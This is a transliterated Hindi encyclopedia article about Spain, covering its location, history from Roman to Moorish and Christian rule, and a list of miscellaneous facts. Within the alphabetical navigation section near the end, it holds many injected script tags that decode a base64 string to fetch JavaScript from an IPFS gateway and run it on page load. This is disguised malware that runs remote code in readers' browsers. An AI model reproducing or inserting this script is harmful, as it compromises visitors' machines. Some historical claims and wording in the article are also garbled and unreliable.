स्पेन

thumb|250px|spen ka dhvaj spen (aangrezi: Spain) adhikarik taur par 'spen ki rajashahi', ek yooropiy desh aur yooropiy sangh ka ek sadasy rashtr hai. yah yoorop ke dakshin-pashchim mean iberiyan prayadvip par sthit hai. isake dakshin aur poorv mean bhoomadhy sagar, british pravasi kshetr, jibraltar ki ek chhoti-si sima, uttar mean fraans, andora aur biske ki kha di tatha aur pashchimottar aur pashchim mean kramash: atalaantik mahasagar aur purtagal sthit haian.

itihas

pragaitihasik kal se lekar ek desh ke roop mean astitv mean ane tak spen ka rajyakshetr apani khas avasthiti ki vajah se kee bahari prabhavoan ke adhin raha tha. roman kal mean yah hispaniya rajy tha. roman prabhav simit hone ke bad visigothik rajy bane. sanh 711 mean afrika ke moor shasak tarik bin jiyad ne visigothikoan ki apasi l daee ka fayada uthakar akraman kiya aur jit hasil ki. isake bad yahaan siriya se nishkasit umayyad khilaphat ki pith bani. muslimoan ka shasan poore spen par raha, lekin uttar tatha uttar poorv mean do chhote svatantr rajy bhi rahe. dasavian sadi mean kordoba sthit samrajy mean muslim, eesaiyoan aur yahoodiyoan ke sath milakar ek bahuayami sanskriti ka hissa the.

dasavian sadi mean muslimoan ko eesaiyoan ne harana aranbh kiya. isake bad eesaiyoan ne jerushalam se muslimoan ka kabza hatane ke lie dharmayuddhoan mean bhag liya. pop ke agrah par sainik turki hote hue jerushalam pahuanchane lage. is samay turki par muslim turkoan ka shasan aranbh ho gaya tha, jisaki vajah se eesaee yooropiyoan ka unake pavitr dharmik sthal jerushalam pahuanchana mushkil ho gaya tha. shuruat mean to eesaee saphal rahe, par sanh 1180 ke dashak mean mamaluk senapati saladin ke prayas ke bad yoorop ke sainik harate ge. isake sath hi poorv se masaloan, resham aur kimati abhooshanoan ke marg par bhi muslimoan ka kabza ho gaya. in chijoan ke yoorop mean bhav badhate ge aur in karanoan se muslimoan ke khilaph rosh bhi.

mahattvapoorn tathy

5 lakh 5 hazar 990 varg kilomitar ke kshetraphal ke sath spen yoorop ka doosara sabase b da desh hai. is tarah se yah bharat ke rajasthan aur u disa ke sanyukt kshetraphal se tho da b da hai.
2015 ki janaganana ke anusar spen ki anumanit janasankhya 4 karo d 64 lakh hai, jo bharat ke u disa rajy ki abadi se kuchh lakh jyada hai.
spen mean shadi karane ke lie kam-se-kam umr sirph 16 sal honi chahie, jabaki bharat mean yah l dakoan ke lie 21 sal aur l dakiyoan ke lie 18 sal hai.
spen paryatan ke lihaz se bahut achchha desh mana jata hai. yahaan har sal 5 karo d se jyada log ghoomane ate haian.
sanyukt rashtr ki ek riport ke anusar san 2050 ke bad spen duniya ka sabase boodha desh hoga, jahaan ki 40 pratishat abadi ki umr 60 sal se jyada hogi.
nagarikoan ki ausat jivan ayu ke mamale mean spen aaustreliya ke sath chauthe nanbar par ata hai. yahaan ke log ausat 82.8 sal ki umr jite haian. bharat is mamale mean 125vean nanbar par ata hai.
spen bul phaitiang ke lie bahut prasiddh hai. yahaan hone vale har tyoanharoan aur meloan mean ayojit bul phaitiang dekhane layak hoti hai. kee kalakar is dauran ghayal bhi hote hai.
spen mean pichhale das sal mean shuroo kie ge vyavasayoan mean se 40 pratishat ko mahilaoan dvara shuroo kiya gaya hai.
11vian sadi mean poore spen par musalamanoan ka raj tha. san 1238 se kee chhote eesaee rajyoan ne ek hokar musalamanoan se yuddh shuroo kar die aur kuchh hi dashakoan mean spen ke jyadatar hissoan ko musalamanoan se azad karava diya.
san 1502 mean speni shasan ne sabhi musalamanoan ko eesaee banane ka adesh jari kar diya, jinhoanne is adesh ko nahi mana unhean desh se nikal diya gaya.
futab aaul spen ka sabase lokapriy khel hai, is desh ne sal 2010 mean pahali bar 'fifa varld kap' jita tha.
spen mean ‘tometo batal' (Tomato battel) nam ka ek tyohar hai, jisamean log ek doosare par saiank doan tamatar pheankate haian.
yahaan ka sabase ooancha parvat samudr tal se 3,718 mitar ooancha hai, himalay mean itani ooanchaee ke 1000 se jyada parvat haian.
spen mean samudri bichoan ki sankhya 8 hazar se jyada hai, hairani ki bat to yah hai ki kee log vahaan par nange hi dhoop ka nazara le sakate haian, kyoanki spen mean sarvajanik sthanoan par nange hona gairakanooni nahian hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

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vishay soochi

itihas

mahattvapoorn tathy

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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